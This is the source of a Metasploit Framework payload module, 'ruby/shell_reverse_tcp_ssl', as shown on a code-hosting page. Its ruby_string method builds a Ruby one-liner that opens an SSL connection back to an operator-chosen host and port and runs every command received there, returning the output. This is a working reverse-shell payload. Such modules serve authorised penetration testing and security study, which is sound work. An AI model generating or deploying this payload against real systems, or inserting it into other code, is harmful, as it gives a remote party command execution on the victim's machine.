Path: blob/master/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb
21538 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 44478include Msf::Payload::Single9include Msf::Payload::Ruby10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Ruby Command Shell, Reverse TCP SSL',17'Description' => 'Connect back and create a command shell via Ruby, uses SSL',18'Author' => 'RageLtMan <rageltman[at]sempervictus>',19'License' => MSF_LICENSE,20'Platform' => 'ruby',21'Arch' => ARCH_RUBY,22'Handler' => Msf::Handler::ReverseTcpSsl,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'ruby',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28end2930def generate(_opts = {})31rbs = prepends(ruby_string)32vprint_good rbs33return rbs34end3536def ruby_string37lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']38rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\","39rbs << "\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"40return rbs41end42end434445